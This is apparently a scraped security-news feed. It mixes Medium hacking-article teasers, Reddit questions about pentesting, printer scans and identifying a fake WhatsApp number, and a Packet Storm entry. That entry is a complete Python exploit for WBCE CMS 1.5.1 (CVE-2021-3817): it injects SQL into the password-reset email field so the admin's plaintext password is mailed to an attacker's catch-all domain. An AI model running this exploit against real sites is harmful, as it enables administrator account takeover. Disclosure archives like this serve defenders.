Hacking on Medium
Why does Log4j vulnerability have tech firms worried?

https://cdn-images-1.medium.com/max/2600/1*-f7Ksjtk0mlyIE62wO3_JA.jpeg
Experts say it can lead to the leakage of sensitive data.

Continue reading on DataDrivenInvestor »

Hacking on Medium
XSS cheat sheets

HTML Injection
Use when input lands inside an attribute’s value of an HTML tag or outside tag except the ones described in next case…

Continue reading on Medium »

Hacking on Medium
Как проверить ваш смартфон на наличие шпионского ПО

https://cdn-images-1.medium.com/max/1280/1*-H6pIS4cC8fZxzFYrNgaWQ.jpeg
Как обнаружить шпионское ПО на смартфоне

Continue reading on Medium »

Hacking on Medium
Hackademic-RTB2 (Boot2Root) Walkthrough

https://cdn-images-1.medium.com/max/881/0*P4kJ-SkH_C7a8VvY.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

Hacking on Medium
Gelen Kutunuzda Saklamamanız Gerekenler

https://cdn-images-1.medium.com/max/1920/1*-QhPPVvARmTI-D9Cdlk22g.jpeg
Birisi posta kutunuza erişim sağlarsa, başınıza gelecek şey muhtemelen BEC Saldırısıdır (kurumsal e-posta hesabınızın ele geçirilmesi)…

Continue reading on Medium »

Using Curl Command On Linux With Examples
https://mirabbasagalarov.medium.com/using-curl-command-on-linux-with-examples-19303ff39623?source=rss------bug_bounty-5

What is the Curl?Continue reading on Medium » (https://mirabbasagalarov.medium.com/using-curl-command-on-linux-with-examples-19303ff39623?source=rss------bug_bounty-5)

hacking: security in practice
Will attack such as LLMNR, NBT-NS and MDNS poisoner cause any issue to internal network?

I've seen these kind of attacks are pretty common in any internal pentest tutorial. But is this save? Will it cause any issue to customer's network?

submitted by /u/w0lfcat
[link] [comments]

https://b.thumbs.redditmedia.com/VAWu7XrcYmqW3LWYc578V4MuMJPN0NQO3sbdoMck9wo.jpg Yesterday we had 3 print and today so far only one.

When I came to work and I saw what it was I unplugged the network cable and sent a pic to our IT team via email (CYA). After no answer I called them and they keep asking me who said it was ok to unplug the printer. I said me, they were mad and told me to plug the printer back in.

I am confused how Nessus is scanning the printer. We are a remote office so our router VPN's our connection back to main office, no split tunnels or anything. The printer is on a different private subnet and when the internet is out we can't print as the printer only talks to the print server in the main office.

Any one else having their printer spit out scans like this? I know Nessus.org is 'good' company but still.

I did some Google searches but with all the news on log4j right now I couldn't find anything.

​

​

https://preview.redd.it/7xf04yhc4x681.png?width=1589&format=png&auto=webp&s=231723967964959a6cb53a4eb6ceb1504ee9a685

submitted by /u/Rriven21
[link] [comments]

hacking: security in practice
Fake number

Is there a way to find out the identity of someone using a fake what's up number?

submitted by /u/mahmoudalsayed99
[link] [comments]

hacking: security in practice
Old School DVD PIN protection

Just came across an old DVD 2000's that had a PIN protection on it. You know the kind of DVD i'm talking about. It has a phone number to call or text for the pin. Accessing the content .VOB files throw out an image every 2 seconds. So i'm just intrigued into how to find the DVD "pin". It's clearly a track selection whereby if you select the correct choices it will play. Opened the content in Hex editor and there's plenty of four numerical characters. I think it's based on selection ... what software is there to analyse this to decipher the pin? Just burning the DVD to file and will upload to drive. It's out of interest is all.

submitted by /u/-iamai-
[link] [comments]

hacking: security in practice
How is the hardware called which allows "advanced wireless sniffing" or something along the lines? (More details in the post)

So a year ago, I had a computer networks course. At that time I got very interested into that topic. Unfortunately, I lost most of my interest right after and with that also the various terminologies.

Back then, I remember that my laptop did not had a certain type of hardware which would have allowed me to do "advanced network sniffing" or something along those lines. For the life of me, I can't remember right now what it was. It had something to do with nmap and wireshark (as with most network hacking stuff) and being able to wireless record traffic or something like that. If I recall correctly, while it is not a rare thing to have for laptops it's certainly not on all. For the laptops who don't have it apparently can plug one externally.

This is also why I'm asking here, as I plan on buying a new laptop and while I'm not interested in that topic (otherwise I would have found the problem again most likely) I want to future proof my new laptop.

Hopefully I was explicit enough.

submitted by /u/CDWEBI
[link] [comments]

Exploit Collector
WBCE CMS 1.5.1 Admin Password Reset

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
WBCE CMS versions 1.5.1 and below suffer from an administrative password reset vulnerability.

MD5 | bd387503be1f4981f739444d3fc5cb4b

Download
# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset
# Google Dork: intext: "Way Better Content Editing"
# Date: 20/12/2021
# Exploit Author: citril or https://github.com/maxway2021
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: <=
# Tested on: Linux
# CVE : CVE-2021-3817
# Github repo: https://github.com/WBCE/WBCE_CMS
# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75

import requests

_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment
_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature

headers = {
'User-Agent': 'Mozilla/5.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close'
}

_p = "email=%27/**/or/**/user_id=1/**/or/**/'admin%40" + _domain + "&submit=justrandomvalue"

r = requests.post(url = _url, headers = headers, data = _p)
if r.status_code == 200:
print('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')

Source:packetstormsecurity.com